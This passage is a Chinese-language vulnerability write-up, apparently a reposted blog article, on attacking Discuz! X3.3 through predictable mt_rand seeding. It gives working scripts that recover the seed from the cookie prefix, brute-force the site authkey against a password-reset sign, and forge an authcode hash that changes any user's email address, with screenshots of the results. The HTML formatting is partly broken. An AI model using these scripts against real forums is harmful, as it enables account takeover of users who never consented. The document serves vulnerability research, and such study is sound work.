<span class="hljs-keyword">return</span> $hash;</code></pre></code><p><code class="lang-php">}<br></code></p></div></pre><br><p>可以看到当PHP版本&gt;=4.2时,<code>mt_rand</code>的随机数种子是固定的。现在的思路是计算随机数种子,使用随机数种子生成 <code>authkey</code>,找到可以验证<code>authkey</code>是否正确的接口,爆破得出<code>authkey</code>。很幸运的是Discuz有很多地方使用到了<code>authkey</code>来生成一些信息,利用这点就可以验证<code>authkey</code>的正确性,这个我们后面会提到。</p><br><h3><a id="mt_rand_62"></a>关于mt_rand</h3><br><p>&gt; mt_rand() 函数使用 Mersenne Twister 算法生成随机整数。<br><br>&gt; 该函数是产生随机值的更好选择,返回结果的速度是 rand() 函数的 4 倍。<br><br>&gt; 如果您想要一个介于 10 和 100 之间(包括 10 和 100)的随机整数,请使用 mt_rand (10,100)。</p><br><p>语法:</p><br><pre><div class="hljs"><code class="lang-php">mt_rand();<br><span class="hljs-keyword">or</span><br>mt_rand(min,max);<br></code></div></pre><br><p>ok,了解了<code>mt_rand</code>函数的用法后,我们使用<code>mt_rand</code>来生成10个1-100之间的随机数:</p><br><p>代码如下:</p><br><pre><div class="hljs"><code class="lang-php">&lt;?php<br>mt_srand(<span class="hljs-number">12345</span>);<br><span class="hljs-keyword">for</span>($i=<span class="hljs-number">0</span>;$i&lt;<span class="hljs-number">10</span>;$i++){
<span class="hljs-keyword">echo</span> (mt_rand(<span class="hljs-number">1</span>,<span class="hljs-number">100</span>));
<span class="hljs-keyword">echo</span> (<span class="hljs-string">"n"</span>);
}
</div></pre>
<p>结果:</p>
<p><img src="&lt;a href=" https:="" cdn.jsdelivr.net="" gh="" handbye="" images@master="" upic="" 2020%2005%2013%2015%2035%2043.png&quot"="">https://cdn.jsdelivr.net/gh/handbye/images@master/upic/2020%2005%2013%2015%2035%2043.png"; alt="20200513153543"></p>
<p>在运行一次:</p>
<p><img src="&lt;a href=" https:="" cdn.jsdelivr.net="" gh="" handbye="" images@master="" upic="" 2020%2005%2013%2015%2036%2020.png&quot"="">https://cdn.jsdelivr.net/gh/handbye/images@master/upic/2020%2005%2013%2015%2036%2020.png"; alt="20200513153620"></p>
<p>可以看到两次运行产生的随机数竟然是一样的,我们把这个称为伪“随机数”,正是由于mt_rand函数的这种特性,我们才可以进行随机数的预测,关于"伪随机数"的详细介绍可以看看下面这两篇文章:</p>
<ul>
<li>PHP中的随机数安全问题</li>
<li>PHP mt_rand()随机数安全</li>
</ul>
<h3>爆破随机数种子</h3>
<p>ok,了解了mt_rand函数后,需要做的就是爆破出随机数种子,在/install/index.php中可看到cookie的前缀的前四位也是由random函数生成的,而cookie我们是可以看到的:</p>
<pre><div class="hljs">$_config<span class="hljs-string">'cookie'</span> = random(<span class="hljs-number">4</span>).<span class="hljs-string">'_'</span>;
</div></pre>
<p><img src="&lt;a href=" https:="" cdn.jsdelivr.net="" gh="" handbye="" images@master="" upic="" 2020%2005%2013%2015%2049%2041.png&quot"="">https://cdn.jsdelivr.net/gh/handbye/images@master/upic/2020%2005%2013%2015%2049%2041.png"; alt="20200513154941"></p>
<p>cookie前缀为:CHFV</p>
<p>那我们就可以使用字符集加上4位已知字符,爆破随机数种子,爆破随机数种子的工具已经有人写出,地址为:https://www.openwall.com/php_mt_seed/,关于此工具的使用方法可自行查阅。</p>
<p>首先使用脚本生成用于php_mt_seed工具的参数:</p>
<pre><div class="hljs"><span class="hljs-comment"># coding=utf-8</span>
w_len = <span class="hljs-number">10</span>
result = <span class="hljs-string">""</span>
str_list = <span class="hljs-string">"ABCDEFGHIJKLMNOPQRSTUVWXYZ0123456789abcdefghijklmnopqrstuvwxyz"</span>
length = len(str_list)
<span class="hljs-keyword">for</span> i <span class="hljs-keyword">in</span> xrange(w_len):<p></p><pre>result+=<span class="hljs-string">"0 "</span>
result+=str(length<span class="hljs-number">-1</span>)
result+=<span class="hljs-string">" "</span>
result+=<span class="hljs-string">"0 "</span>
result+=str(length<span class="hljs-number">-1</span>)
result+=<span class="hljs-string">" "</span>
</pre><p>sstr = <span class="hljs-string">"CHFV"</span>
<span class="hljs-keyword">for</span> i <span class="hljs-keyword">in</span> sstr:</p><pre>result+=str(str_list.index(i))
result+=<span class="hljs-string">" "</span>
result+=str(str_list.index(i))
result+=<span class="hljs-string">" "</span>
result+=<span class="hljs-string">"0 "</span>
result+=str(length<span class="hljs-number">-1</span>)
result+=<span class="hljs-string">" "</span>
</pre>
<p><span class="hljs-keyword">print</span> result
</p></div></pre>
<p>结果为:</p>
<pre>0 61 0 61 0 61 0 61 0 61 0 61 0 61 0 61 0 61 0 61 0 61 0 61 0 61 0 61 0 61 0 61 0 61 0 61 0 61 0 61 2 2 0 61 7 7 0 61 5 5 0 61 21 21 0 61
</pre>
<p>使用php_mt_seed工具爆破随机数种子:</p>
<p><img src="&lt;a href=" https:="" cdn.jsdelivr.net="" gh="" handbye="" images@master="" upic="" 2020%2005%2013%2018%2004%2059.png&quot"="">https://cdn.jsdelivr.net/gh/handbye/images@master/upic/2020%2005%2013%2018%2004%2059.png"; alt="20200513180459"></p>
<p>由于当前使用的php版本为5.6,符合结果的一共有293个。</p>
<h3>爆破authkey</h3>
<p>获得了随机数种子后,利用随机数种子使用random函数生成随机字符串用于后面的authkey爆破,生成随机字符串的脚本如下:</p>
<pre><div class="hljs"><?php
<span class="hljs-function"><span class="hljs-keyword">function</span> <span class="hljs-">random</span><span class="hljs-params">($length)</span> </span>{<p></p><pre><code>$hash = <span class="hljs-string">''</span>;
$chars = <span class="hljs-string">'ABCDEFGHIJKLMNOPQRSTUVWXYZ0123456789abcdefghijklmnopqrstuvwxyz'</span>;
$max = strlen($chars) - <span class="hljs-number">1</span>;
PHP_VERSION &lt; <span class="hljs-string">'4.2.0'</span> && mt_srand((double)microtime() * <span class="hljs-number">1000000</span>);
<span class="hljs-keyword">for</span>($i = <span class="hljs-number">0</span>; $i &lt; $length; $i++) {

$hash .= $chars[mt_rand(<span class="hljs-number">0</span>, $max)];

}
<span class="hljs-keyword">return</span> $hash;</code></pre><p>}<br>$fp = fopen(<span class="hljs-string">'result1.txt'</span>, <span class="hljs-string">'r'</span>);
$fp2 = fopen(<span class="hljs-string">'result2.txt'</span>, <span class="hljs-string">'a'</span>);<br><span class="hljs-keyword">while</span>(!feof($fp)){</p><pre>$b = fgets($fp, <span class="hljs-number">4096</span>);
<span class="hljs-keyword">if</span>(preg_match(<span class="hljs-string">"/([=s].*[=s])(d+)[s]/"</span>, $b, $matach)){

$m = $matach[<span class="hljs-number">2</span>];

}<span class="hljs-keyword">else</span>{

<span class="hljs-keyword">continue</span>;

}
<span class="hljs-comment">// var_dump($matach);</span>
<span class="hljs-comment">// var_dump($m);</span>
mt_srand($m);
fwrite($fp2, random(<span class="hljs-number">10</span>).<span class="hljs-string">"\n"</span>);</code></pre></code><p><code class="lang-php">}<br>fclose($fp);
fclose($fp2);
</p></div></pre>
<p>如何验证authkey的正确性呢?我们注意到在找回密码时,系统给用户发送的邮件中的链接如下:</p>
<p><img src="&lt;a href=" https:="" cdn.jsdelivr.net="" gh="" handbye="" images@master="" upic="" 2020%2005%2013%2019%2016%2059.png&quot"="">https://cdn.jsdelivr.net/gh/handbye/images@master/upic/2020%2005%2013%2019%2016%2059.png"; alt="20200513191659"></p>
<p>把目光转移到代码中,寻找sign值的生成方式,在/source/module/member/member_lostpassw.php有如下代码:</p>
<p><img src="&lt;a href=" https:="" cdn.jsdelivr.net="" gh="" handbye="" images@master="" upic="" 2020%2005%2013%2019%2020%2011.png&quot"="">https://cdn.jsdelivr.net/gh/handbye/images@master/upic/2020%2005%2013%2019%2020%2011.png"; alt="20200513192011"></p>
<p>跟进到make_getpws_sign函数中:</p>
<p><img src="&lt;a href=" https:="" cdn.jsdelivr.net="" gh="" handbye="" images@master="" upic="" 2020%2005%2013%2019%2021%2047.png&quot"="">https://cdn.jsdelivr.net/gh/handbye/images@master/upic/2020%2005%2013%2019%2021%2047.png"; alt="20200513192147"></p>
<p>继续跟进到dsign函数中:</p>
<p><img src="&lt;a href=" https:="" cdn.jsdelivr.net="" gh="" handbye="" images@master="" upic="" 2020%2005%2013%2019%2022%2054.png&quot"="">https://cdn.jsdelivr.net/gh/handbye/images@master/upic/2020%2005%2013%2019%2022%2054.png"; alt="20200513192254"></p>
<p>发现dsign配合使用了authkey来生成sign值,那么我们接下来要做的就是模拟这个过程来获取找回密码处的uid,id,sign值来爆破authkey,下面是爆破脚本:</p>
<pre><div class="hljs"><span class="hljs-comment">#coding: utf-8</span>
<span class="hljs-keyword">import</span> itertools
<span class="hljs-keyword">import</span> hashlib
<span class="hljs-keyword">import</span> time
<span class="hljs-function"><span class="hljs-keyword">def</span> <span class="hljs-">dsign</span><span class="hljs-params">(authkey)</span>:</span><p></p><pre>url = <span class="hljs-string">"http://127.0.0.1/dz3.3/"</span>
idstring = <span class="hljs-string">"xZhQzV"</span>
uid = <span class="hljs-number">2</span>
uurl = <span class="hljs-string">"{}member.php?mod=getpasswd&uid={}&id={}"</span>.format(url, uid, idstring)
url_md5 = hashlib.md5(uurl+authkey)
<span class="hljs-keyword">return</span> url_md5.hexdigest()[:<span class="hljs-number">16</span>]
</pre><p><span class="hljs-function"><span class="hljs-keyword">def</span> <span class="hljs-">main</span><span class="hljs-params">()</span>:</span></p><pre>sign = <span class="hljs-string">"6e2b1a0bb563da89"</span>
str_list = <span class="hljs-string">"0123456789abcdef"</span>
<span class="hljs-keyword">with</span> open(<span class="hljs-string">'result2.txt'</span>) <span class="hljs-keyword">as</span> f:

ranlist = [s[:<span class="hljs-number">-1</span>] <span class="hljs-keyword">for</span> s <span class="hljs-keyword">in</span> f]

s_list = sorted(set(ranlist), key=ranlist.index)
r_list = itertools.product(str_list, repeat=<span class="hljs-number">6</span>)
<span class="hljs-keyword">print</span> <span class="hljs-string">"[!] start running...."</span>
s_time = time.time()
<span class="hljs-keyword">for</span> j <span class="hljs-keyword">in</span> r_list:

<span class="hljs-keyword">for</span> s <span class="hljs-keyword">in</span> s_list:
    prefix = <span class="hljs-string">""</span>.join(j)
    authkey = prefix + s
    <span class="hljs-comment"># print dsign(authkey)</span>
    <span class="hljs-keyword">if</span> dsign(authkey) == sign:
        <span class="hljs-keyword">print</span> <span class="hljs-string">"[*] found used time: "</span> + str(time.time() - s_time)
        <span class="hljs-keyword">return</span> <span class="hljs-string">"[*] authkey found: "</span> + authkey</code></pre></code><p><code class="lang-python"><span class="hljs-keyword">print</span> main()<br></code></p></div></pre><br><p>用上述脚本跑了大概2个小时,跑出了authkey。(脚本是单线程的,跑的有点慢,追求速度的同学可以将其改为多线程)</p><br><p><img src="&lt;a href=" https:="" cdn.jsdelivr.net="" gh="" handbye="" images@master="" upic="" 2020%2005%2014%2012%2057%2016.png&quot"="">https://cdn.jsdelivr.net/gh/handbye/images@master/upic/2020%2005%2014%2012%2057%2016.png"; alt="20200514125716"&gt;</p><br><p>在和配置文件中的authkey对比一下,可以看到是一样的。</p><br><p><img src="&lt;a href=" https:="" cdn.jsdelivr.net="" gh="" handbye="" images@master="" upic="" 2020%2005%2014%2012%2058%2019.png&quot"="">https://cdn.jsdelivr.net/gh/handbye/images@master/upic/2020%2005%2014%2012%2058%2019.png"; alt="20200514125819"&gt;</p><br><p>至此,authkey已经被我们爆破出来了,有了authkey以后我们可以用来重置任意用户的邮箱地址。</p><br><h2><a id="_249"></a>漏洞利用</h2><br><p>当我们需要重置用户邮箱时,系统会发一份下面这样的邮件:</p><br><p><img src="&lt;a href=" https:="" cdn.jsdelivr.net="" gh="" handbye="" images@master="" upic="" 2020%2005%2014%2013%2007%2035.png&quot"="">https://cdn.jsdelivr.net/gh/handbye/images@master/upic/2020%2005%2014%2013%2007%2035.png"; alt="20200514130735"&gt;</p><br><p>可以看到重置链接中最重要的是hash的参数值,有了这个hash值就可以重置邮件地址了。</p><br><p>回到代码<code>/source/include/misc/misc_emailcheck.php</code>中,这个文件是验证重置邮件链接中hash值的:</p><br><p>贴一段主要的代码:</p><br><pre><div class="hljs"><code class="lang-php">&lt;?php<p></p><p><span class="hljs-comment">/**</span></p><ul><li>[Discuz!] (C)2001-2099 Comsenz Inc.</li><li>This is NOT a freeware, use is subject to license terms</li></ul><p>*</p><ul><li>$Id: misc_emailcheck.php 33688 2013-08-02 03:00:15Z nemohou $</li></ul><p>*/</p><p><span class="hljs-keyword">if</span>(!defined(<span class="hljs-string">'IN_DISCUZ'</span>)) {</p><pre><code><span class="hljs-keyword">exit</span>(<span class="hljs-string">'Access Denied'</span>);</code></pre><p>}</p><p>$uid = <span class="hljs-number">0</span>;<br>$email = <span class="hljs-string">''</span>;<br>$_GET[<span class="hljs-string">'hash'</span>] = <span class="hljs-keyword">empty</span>($_GET[<span class="hljs-string">'hash'</span>]) ? <span class="hljs-string">''</span> : $_GET[<span class="hljs-string">'hash'</span>];<br><span class="hljs-keyword">if</span>($_GET[<span class="hljs-string">'hash'</span>]) {</p><pre><code><span class="hljs-keyword">list</span>($uid, $email, $time) = explode(<span class="hljs-string">"\t"</span>, authcode($_GET[<span class="hljs-string">'hash'</span>], <span class="hljs-string">'DECODE'</span>, md5(substr(md5($_G[<span class="hljs-string">'config'</span>][<span class="hljs-string">'security'</span>][<span class="hljs-string">'authkey'</span>]), <span class="hljs-number">0</span>, <span class="hljs-number">16</span>))));

$uid = intval($uid);</pre><p>}</p><p><span class="hljs-keyword">if</span>($uid &amp;&amp; isemail($email) && $time &gt; TIMESTAMP - <span class="hljs-number">86400</span>) {</p><pre><code>$member = getuserbyuid($uid);
$setarr = <span class="hljs-keyword">array</span>(<span class="hljs-string">'email'</span>=&amp;gt;$email, <span class="hljs-string">'emailstatus'</span>=&gt;<span class="hljs-string">'1'</span>);
<span class="hljs-keyword">if</span>($_G<span class="hljs-string">'member'</span> == <span class="hljs-number">2</span>) {

$setarr[<span class="hljs-string">'freeze'</span>] = <span class="hljs-number">0</span>;

}
loaducenter();
$ucresult = uc_user_edit(addslashes($member[<span class="hljs-string">'username'</span>]), <span class="hljs-string">''</span>, <span class="hljs-string">''</span>, $email, <span class="hljs-number">1</span>);
<span class="hljs-keyword">if</span>($ucresult == <span class="hljs-number">-8</span>) {

showmessage(<span class="hljs-string">'email_check_account_invalid'</span>, <span class="hljs-string">''</span>, <span class="hljs-keyword">array</span>(), <span class="hljs-keyword">array</span>(<span class="hljs-string">'return'</span> =&amp;gt; <span class="hljs-keyword">true</span>));

} <span class="hljs-keyword">elseif</span>($ucresult == <span class="hljs-number">-4</span>) {

showmessage(<span class="hljs-string">'profile_email_illegal'</span>, <span class="hljs-string">''</span>, <span class="hljs-keyword">array</span>(), <span class="hljs-keyword">array</span>(<span class="hljs-string">'return'</span> =&amp;gt; <span class="hljs-keyword">true</span>));

} <span class="hljs-keyword">elseif</span>($ucresult == <span class="hljs-number">-5</span>) {

showmessage(<span class="hljs-string">'profile_email_domain_illegal'</span>, <span class="hljs-string">''</span>, <span class="hljs-keyword">array</span>(), <span class="hljs-keyword">array</span>(<span class="hljs-string">'return'</span> =&amp;gt; <span class="hljs-keyword">true</span>));

} <span class="hljs-keyword">elseif</span>($ucresult == <span class="hljs-number">-6</span>) {

showmessage(<span class="hljs-string">'profile_email_duplicate'</span>, <span class="hljs-string">''</span>, <span class="hljs-keyword">array</span>(), <span class="hljs-keyword">array</span>(<span class="hljs-string">'return'</span> =&amp;gt; <span class="hljs-keyword">true</span>));

}
<span class="hljs-keyword">if</span>($_G[<span class="hljs-string">'setting'</span>][<span class="hljs-string">'regverify'</span>] == <span class="hljs-number">1</span> &amp;&amp; $member[<span class="hljs-string">'groupid'</span>] == <span class="hljs-number">8</span>) {

$membergroup = C::t(<span class="hljs-string">'common_usergroup'</span>)-&amp;gt;fetch_by_credits($member[<span class="hljs-string">'credits'</span>]);
$setarr[<span class="hljs-string">'groupid'</span>] = $membergroup[<span class="hljs-string">'groupid'</span>];

}
updatecreditbyaction(<span class="hljs-string">'realemail'</span>, $uid);
C::t(<span class="hljs-string">'common_member'</span>)-&gt;update($uid, $setarr);
C::t(<span class="hljs-string">'common_member_validate'</span>)-&gt;delete($uid);
dsetcookie(<span class="hljs-string">'newemail'</span>, <span class="hljs-string">""</span>, <span class="hljs-number">-1</span>);

showmessage(<span class="hljs-string">'email_check_sucess'</span>, <span class="hljs-string">'home.php?mod=spacecp&ac=profile&op=password'</span>, <span class="hljs-keyword">array</span>(<span class="hljs-string">'email'</span> =&gt; $email));</code></pre><p>} <span class="hljs-keyword">else</span> {</p><pre><code>showmessage(<span class="hljs-string">'email_check_error'</span>, <span class="hljs-string">'index.php'</span>);</code></pre><p>}</p><p>?&gt;</p></code><p><code class="lang-php"></code></p></div></pre><br><p>当hash传入的时候,服务端会调用authcode函数解码获得用户的uid,要修改成的email,时间戳。然后经过一次判断就进入逻辑修改email,这里没有额外的判断。uid是从1开始依次增加的,也就是说我们可以重置任意用户的email地址。</p><br><p>跟进到<code>authcode</code>函数,并使用此函数获取hash值.</p><br><pre><div class="hljs"><code class="lang-php"><span class="hljs-function"><span class="hljs-keyword">function</span> <span class="hljs-">authcode</span><span class="hljs-params">($string, $operation = <span class="hljs-string">'DECODE'</span>, $key = <span class="hljs-string">''</span>, $expiry = <span class="hljs-number">0</span>)</span> </span>{<p></p><pre><code>$ckey_length = <span class="hljs-number">4</span>;

$key = md5($key ? $key : UC_KEY);
$keya = md5(substr($key, <span class="hljs-number">0</span>, <span class="hljs-number">16</span>));
$keyb = md5(substr($key, <span class="hljs-number">16</span>, <span class="hljs-number">16</span>));
$keyc = $ckey_length ? ($operation == <span class="hljs-string">'DECODE'</span> ? substr($string, <span class="hljs-number">0</span>, $ckey_length): substr(md5(microtime()), -$ckey_length)) : <span class="hljs-string">''</span>;

$cryptkey = $keya.md5($keya.$keyc);
$key_length = strlen($cryptkey);

$string = $operation == <span class="hljs-string">'DECODE'</span> ? base64_decode(substr($string, $ckey_length)) : sprintf(<span class="hljs-string">'%010d'</span>, $expiry ? $expiry + time() : <span class="hljs-number">0</span>).substr(md5($string.$keyb), <span class="hljs-number">0</span>, <span class="hljs-number">16</span>).$string;
$string_length = strlen($string);

$result = <span class="hljs-string">''</span>;
$box = range(<span class="hljs-number">0</span>, <span class="hljs-number">255</span>);

$rndkey = <span class="hljs-keyword">array</span>();
<span class="hljs-keyword">for</span>($i = <span class="hljs-number">0</span>; $i &lt;= <span class="hljs-number">255</span>; $i++) {

$rndkey[$i] = ord($cryptkey[$i % $key_length]);

}

<span class="hljs-keyword">for</span>($j = $i = <span class="hljs-number">0</span>; $i &amp;lt; <span class="hljs-number">256</span>; $i++) {

$j = ($j + $box[$i] + $rndkey[$i]) % <span class="hljs-number">256</span>;
$tmp = $box[$i];
$box[$i] = $box[$j];
$box[$j] = $tmp;

}

<span class="hljs-keyword">for</span>($a = $j = $i = <span class="hljs-number">0</span>; $i &lt; $string_length; $i++) {

$a = ($a + <span class="hljs-number">1</span>) % <span class="hljs-number">256</span>;
$j = ($j + $box[$a]) % <span class="hljs-number">256</span>;
$tmp = $box[$a];
$box[$a] = $box[$j];
$box[$j] = $tmp;
$result .= chr(ord($string[$i]) ^ ($box[($box[$a] + $box[$j]) % <span class="hljs-number">256</span>]));

}

<span class="hljs-keyword">if</span>($operation == <span class="hljs-string">'DECODE'</span>) {

<span class="hljs-keyword">if</span>((substr($result, <span class="hljs-number">0</span>, <span class="hljs-number">10</span>) == <span class="hljs-number">0</span> || substr($result, <span class="hljs-number">0</span>, <span class="hljs-number">10</span>) - time() &amp;gt; <span class="hljs-number">0</span>) &amp;&amp; substr($result, <span class="hljs-number">10</span>, <span class="hljs-number">16</span>) == substr(md5(substr($result, <span class="hljs-number">26</span>).$keyb), <span class="hljs-number">0</span>, <span class="hljs-number">16</span>)) {
    <span class="hljs-keyword">return</span> substr($result, <span class="hljs-number">26</span>);
} <span class="hljs-keyword">else</span> {
    <span class="hljs-keyword">return</span> <span class="hljs-string">''</span>;
}

} <span class="hljs-keyword">else</span> {

<span class="hljs-keyword">return</span> $keyc.str_replace(<span class="hljs-string">'='</span>, <span class="hljs-string">''</span>, base64_encode($result));

}
</pre><p>}</p>
<p><span class="hljs-keyword">echo</span> authcode(<span class="hljs-string">"3ttest@test.comt1593556905"</span>, <span class="hljs-string">'ENCODE'</span>, md5(substr(md5(<span class="hljs-string">"c0dc85pjkmNEfXuw"</span>), <span class="hljs-number">0</span>, <span class="hljs-number">16</span>)));
</p></div></pre>
<p><img src="&lt;a href=" https:="" cdn.jsdelivr.net="" gh="" handbye="" images@master="" upic="" 2020%2005%2014%2014%2026%2045.png&quot"="">https://cdn.jsdelivr.net/gh/handbye/images@master/upic/2020%2005%2014%2014%2026%2045.png"; alt="20200514142645"></p>
<p>直接用这个hash就可重置uid为3的用户的邮件地址:</p>
<p><img src="&lt;a href=" https:="" cdn.jsdelivr.net="" gh="" handbye="" images@master="" upic="" 2020%2005%2014%2014%2025%2057.png&quot"="">https://cdn.jsdelivr.net/gh/handbye/images@master/upic/2020%2005%2014%2014%2025%2057.png"; alt="20200514142557"></p>
<h2>最后</h2>
<p>获取authkey之后对前台用户影响巨大,例如我们仅靠authkey就可以修改所有用户的邮件地址,另外前台cookie,多个点的验证中都涉及到了authkey。至于如何依靠authkey来达到更进一步的利用,各位可继续进行探索。另外强烈推荐看这篇关于Discuz漏洞的总结文章这是一篇“不一样”的真实渗透测试案例分析文章</p>
<h2>参考</h2>
<ul>
<li>Discuz_X authkey安全性漏洞分析</li>
<li>Discuz X3.3补丁安全分析</li>
<li>这是一篇“不一样”的真实渗透测试案例分析文章</li>
</ul><p></p><pre> </pre></div></div><p>
</p><p>
</p>

责任编辑:
声明:本平台发布的内容(图片、视频和文字)以原创、转载和分享网络内容为主,如果涉及侵权请尽快告知,我们将会在第一时间删除。文章观点不代表本网站立场,如需处理请联系客服。

德品

1377 678 6470